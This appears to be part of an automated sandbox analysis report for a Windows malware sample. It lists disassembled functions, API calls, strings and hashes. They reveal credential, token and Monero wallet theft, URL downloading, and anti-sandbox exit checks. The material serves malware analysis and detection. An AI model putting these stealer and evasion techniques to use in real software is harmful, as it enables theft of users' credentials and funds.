Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: c50de3f3d32b56abdc3e0181cf9691f8de253fb5496f397494996763ec669fdb
Instruction ID: d3b4a7caf446de9355e244355c8e16b321895ac976a44b0a7cc1b08be2cc8b72
Opcode Fuzzy Hash: c50de3f3d32b56abdc3e0181cf9691f8de253fb5496f397494996763ec669fdb
Instruction Fuzzy Hash: 735194B5940218ABDB20EF90DC45BEE77B9EB04305F1040ADB606B71C0DB786A85CF9A

Function 004072D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 0040733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00407452
HeapFree.KERNEL32(00000000), ref: 00407459
task.LIBCPMTD ref: 00407555

Strings

Password, xrefs: 00407401

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction ID: ef12ebdd473109685825b75701b45193a1214ac884297e43e73859b9717fa869
Opcode Fuzzy Hash: 5434392e867cfe8b65d60c30634320f59bf744a663cfea390a94abfc30077dd7
Instruction Fuzzy Hash: B8614DB5D0416C9BDB24DB50CD41BDAB7B8BF44304F0081EAE689A6281DB746FC9CFA5

Function 0040BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A920: lstrcpy.KERNEL32(00000000,?), ref: 0041A972
Part of subcall function 0041A920: lstrcat.KERNEL32(00000000), ref: 0041A982

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

lstrlen.KERNEL32(00000000), ref: 0040BC9F

Part of subcall function 00418E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00418E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BCCD
lstrlen.KERNEL32(00000000), ref: 0040BDA5
lstrlen.KERNEL32(00000000), ref: 0040BDB9

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040BBEB
AccountTokens, xrefs: 0040BB49
AccountTokens, xrefs: 0040BABA
AccountId, xrefs: 0040BCC4

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: c7abf6f4fa1597abc42be39af0a18f86762174c85467a9802c32040d15277e4f
Instruction ID: 1db97c5984eaf975dbf010622291b68d8c4d82df198c84c91f10bdfb5a5a1c79
Opcode Fuzzy Hash: c7abf6f4fa1597abc42be39af0a18f86762174c85467a9802c32040d15277e4f
Instruction Fuzzy Hash: 8CB19671911108ABDB04FBA1DD52EEE7339AF14314F40452EF506B2091EF386E99CBBA

Function 00404FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00404FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00404FD1
InternetOpenA.WININET(00420DDF,00000000,00000000,00000000,00000000), ref: 00404FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00405041
InternetCloseHandle.WININET(?), ref: 004050B9
InternetCloseHandle.WININET(?), ref: 004050C6

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessRead
String ID:
API String ID: 3066467675-0
Opcode ID: 065f44a1f585fcd8cdbf55b01fc9072c3237820977f64d694db54246ba9697df
Instruction ID: 159c40c9682bb77ee1b84e102d93ce0484e4bf857b53ebc6db5504a3049ae2b5
Opcode Fuzzy Hash: 065f44a1f585fcd8cdbf55b01fc9072c3237820977f64d694db54246ba9697df
Instruction Fuzzy Hash: F63128B8A40218ABDB20CF94DC85BDDB7B5EB48704F1081E9E609B7280C7746AC58F99

Function 004183DC Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00418426
wsprintfA.USER32 ref: 00418459
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041847B
RegCloseKey.ADVAPI32(00000000), ref: 0041848C
RegCloseKey.ADVAPI32(00000000), ref: 00418499

Part of subcall function 0041A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0041A7E6

RegQueryValueExA.KERNEL32(00000000,013FF2C8,00000000,000F003F,?,00000400), ref: 004184EC
lstrlen.KERNEL32(?), ref: 00418501
RegQueryValueExA.KERNEL32(00000000,013FF088,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,00420B34), ref: 00418599
RegCloseKey.KERNEL32(00000000), ref: 00418608
RegCloseKey.ADVAPI32(00000000), ref: 0041861A

Strings

%s\%s, xrefs: 0041844D

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction ID: cdbcbf4b9f8a1ecee5159c9abe2ba9d8dffcfa3e02281556f53420590b8fae77
Opcode Fuzzy Hash: 33bb1e120011f456fd0d00ec002cc8eb811bbe50be437bcb910910415e41be60
Instruction Fuzzy Hash: 7B210A75940218AFDB24DB54DC85FE9B3B9FB48704F00C199E60996140DF756A85CFD4

Function 00417690 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 004176A4
RtlAllocateHeap.NTDLL(00000000), ref: 004176AB
RegOpenKeyExA.KERNEL32(80000002,013EBA40,00000000,00020119,00000000), ref: 004176DD
RegQueryValueExA.KERNEL32(00000000,013FF1C0,00000000,00000000,?,000000FF), ref: 004176FE
RegCloseKey.ADVAPI32(00000000), ref: 00417708

Strings

Windows 11, xrefs: 004176BD

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: Windows 11
API String ID: 3225020163-2517555085
Opcode ID: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction ID: 0438ef7ee9a5fbee92b010be2e89678c99e6505f2a73f727aa840deaa157456b
Opcode Fuzzy Hash: 31b5ee67880bd1f967030e6ea3d78f3b54130d435c20b4c8c69cbeacade70eac
Instruction Fuzzy Hash: E0018FBDA80204BFE700DBE0DD49FAEB7BDEB09700F004055FA05D7290E674A9408B55

Function 00417720 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 42registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417734
RtlAllocateHeap.NTDLL(00000000), ref: 0041773B
RegOpenKeyExA.KERNEL32(80000002,013EBA40,00000000,00020119,004176B9), ref: 0041775B
RegQueryValueExA.KERNEL32(004176B9,CurrentBuildNumber,00000000,00000000,?,000000FF), ref: 0041777A
RegCloseKey.ADVAPI32(004176B9), ref: 00417784

Strings

CurrentBuildNumber, xrefs: 00417771

Memory Dump Source

Source File: 00000000.00000002.2385540740.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2385519897.0000000000400000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000045A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.0000000000488000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000004EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000050F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000051E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385540740.000000000064A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.000000000065E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000007D4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008B4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008E3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2385999365.00000000008F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386267419.00000000008F3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386390337.0000000000A88000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2386410211.0000000000A89000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction ID: 98fe8272c38af2577472084bebc30d651685970d5c5bfe2bd2220dad028592af
Opcode Fuzzy Hash: 43a46ff31c4728249bb55ffe5b6c0263db84e810ad24588de6037cbf7116cf65
Instruction Fuzzy Hash: 0F0144BDA80308BFE710DFE0DC49FAEB7B9EB44704F104159FA05A7281DA7455408F51

Function 004169F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F17C0), ref: 004198A1
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1520), ref: 004198BA
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1730), ref: 004198D2
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F15F8), ref: 004198EA
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F16D0), ref: 00419903
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F8900), ref: 0041991B
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013E54D0), ref: 00419933
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013E5530), ref: 0041994C
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1550), ref: 00419964
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1568), ref: 0041997C
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1640), ref: 00419995
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1658), ref: 004199AD
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013E56B0), ref: 004199C5
Part of subcall function 00419860: GetProcAddress.KERNEL32(76210000,013F1688), ref: 004199DE

Part of subcall function 0041A740: lstrcpy.KERNEL32(00420E17,00000000), ref: 0041A788

Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416770: GetUserDefaultLangID.KERNEL32 ref: 00416774

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 00417850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417880
Part of subcall function 00417850: RtlAllocateHeap.NTDLL(00000000), ref: 00417887
Part of subcall function 00417850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041789F

Part of subcall function 004178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00417910
Part of subcall function 004178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00417917
Part of subcall function 004178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0041792F

Part of subcall function 0041A9B0: lstrlen.KERNEL32(?,013F8BD0,?,\Monero\wallet.keys,00420E17), ref: 0041A9C5
Part of subcall function 0041A9B0: lstrcpy.KERNEL32(00000000), ref: 0041AA04
Part of subcall function 0041A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0041AA12

Part of subcall function 0041A8A0: lstrcpy.KERNEL32(?,00420E17), ref: 0041A905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,013F8930,?,0042110C,?,00000000,?,00421110,?,00000000,00420AEF), ref: 00416ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416AE8
CloseHandle.KERNEL32(00000000), ref: 00416AF9
Sleep.KERNEL32(00001770), ref: 00416B04
